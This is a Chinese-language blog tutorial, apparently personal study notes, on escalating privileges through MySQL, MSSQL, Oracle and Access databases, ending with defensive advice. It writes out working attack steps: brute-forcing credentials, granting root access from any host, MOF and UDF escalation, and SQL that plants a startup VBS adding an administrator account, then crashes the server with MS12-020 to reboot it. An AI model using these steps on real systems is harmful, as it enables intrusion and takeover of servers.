权限提升之——数据库提权

数据库权限提升

这是这两天学习的哈,一篇篇发太麻烦了,就整理在一篇文章里了,整体感觉基本都是靠工具,不靠工具的还是都比较有难度的,五一假期过去了也该继续回到紧张的学习中了,冲鸭!
在家没衣服穿太可怜了,想回学校取衣服T_T
在这里插入图片描述

如何获取mysql账号密码

1.查看网站配置文件。

如:conn、config、data、sql、common 、inc等。

2.查看数据库安装路径下的mysql文件

安装目录为/data/mysql/user.myd和user.myi

3.通过暴力破解得到(hscan、Bruter、hydra、脚本木马)

对外开放3306,允许远程连接
不允许远程连接需要开启
暴力破解有时候需要远程访问,那么如何打开root的远程访问权限呢?
一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。
下面是基本的步骤:
1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";mysql> flush privileges;

第一句中"%"表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如:GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";

第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。

二、mysql数据库密码保存文件
参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html

三、菜刀数据库连接、大马777.php、其它工具爆破
mssql,orcal,access提权及安全防范

Mssql提权

mssql提权主要分为弱口令溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见(sqlserver2000之后就几乎没有了)。
通过漏洞拉到webshell之后,找到网站配置文件,里面有sa权限的账号密码,配置文件为asp或者aspx网站一般使用微软自带数据库,这个提权没有sa权限是不能做的
mssql一般是允许远程连接的
系统库是master

其实一个正常的数据库,跟webshell没有太多区别,例如上传,执行,都是可以的

有了密码直接利用sqltools工具就可以了
使用时要恢复三个dll路径(需要sa权限)

Oracle提权

Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。提权方法参考如下地址:
http://blog.csdn.net/sezvboyrul/article/details/2855401
http://wenku.baidu.com/link?url=DAU-gUL4EpfniDqH3TV4lvQ4W9HRRm-sWCzFqVNJWSnBgfCfm0iu-6DunEAcFgI0STlvJCgNgbq2BwPalWIcaptP72SDTcq77BtpRRvPSGG
或者直接使用oracleshell

access提权

!!!危险性比较大!!!
只要成功,对方网站数据库一定崩溃,只有一次机会,这里就不说了哈,没什么实际用处,毕竟我是温柔小薛

MOF漏洞提权

1、mysql mof漏洞介绍:
http://www.exploit-db.com/exploits/23083/
2、MOF漏洞工具与脚本实战:
http://www.myhack58.com/Article/html/3/8/2013/38264.htm

操作方法
一、通过工具提权(有root权限下)
Mysql综合利用工具
二、手工通过webshell 数据库语句建帐号
1.找个可写目录(属性0777),上传mof文件
2.执行sql

select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
			注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考第二个连接地址。
				代码里可以修改这个间隔时间

Mysql启动项提权

思路

			1、通过mysql数据库命令写入VBS脚本;
			2、直接通过Webshell的Mysql写入启动项;
			3、通过MS12-020、MS15-034重启服务器。

实际操作

C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
			mysql>drop database test1;
			mysql> create database test1;
			首先创建一个数据库test1
mysql> use test1;
			进入到test1
mysql> create table a (cmd text);

创建一个表a(表里有一个cmd字段 文本类型)

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");

给表a设置一个xshshell变量,变量的值是creatboject这个对象,这个对象是一个调用wscript.shell的对象

mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
在这个表里插入一个cmd.exe,建一个best账号,注意cmd.exe/c是无回显的

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");

注意双引号和括号以及后面的“0”一定要输入,我们将用这三条命令来建立一个VBS的脚本程序

mysql>select * from a;
			mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";

把a表里的信息导出到启动项里面,启动项名称叫best.vbs

最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034(靶机直接蓝屏挺有意思哈)
重启之后就会启动执行脚本
补充
其实在一般渗透测试过程中,提权需要对方允许才可以进行,比在前端找漏洞更有难度

UDP提权(MYSQL自身功能提权)

1、工具UDF提权方法

一、上传udf.dll
上传路径

小于mysql5.1版本
C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll

等于mysql5.1版本
%mysql%\plugin\udf.dll (也就是在安装路径下) 用 select @@plugin_dir 查询plugin路径

默认 C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll

注意!有的DBA可能会为了安全删除这个文件,如果没有我们可以创建一个

上传方法
允许远程连接情况下(root权限下提权)
1、UDF提权专用webshell工具(mysql综合利用工具),导入dll、再执行命令。
导入目录要注意/,之后执行
2、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。

二、执行SQL

select cmdshell('net user');
		select open3389();

三、低权限获取root密码

2、UDF脚本提权方法

主要解决mysql不能远程连接问题。
不允许远程连接的情况下(普通用户下提权)

安全防御

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA这种可以扩展存取的权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时扫描并升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章